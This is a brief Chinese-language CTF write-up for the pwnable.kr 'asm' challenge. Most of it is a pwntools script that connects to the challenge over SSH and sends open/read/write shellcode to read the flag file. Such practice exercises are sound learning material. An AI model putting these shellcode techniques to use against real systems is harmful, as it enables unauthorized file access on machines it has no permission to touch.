這道題考查寫shellcode, 用keystone折騰了半天上網(wǎng)一查發(fā)現(xiàn)我們對pwntools的運(yùn)用真的不夠熟練
from pwn import *
con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(os='linux', arch='amd64')
shellcode = ""
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
p.recvuntil('shellcode: ')
p.send(asm(shellcode))
print p.recvline()
所有的系統(tǒng)調(diào)用都可以直接生產(chǎn), ssh也可以連過去, 另外需要注意的就是context很重要.
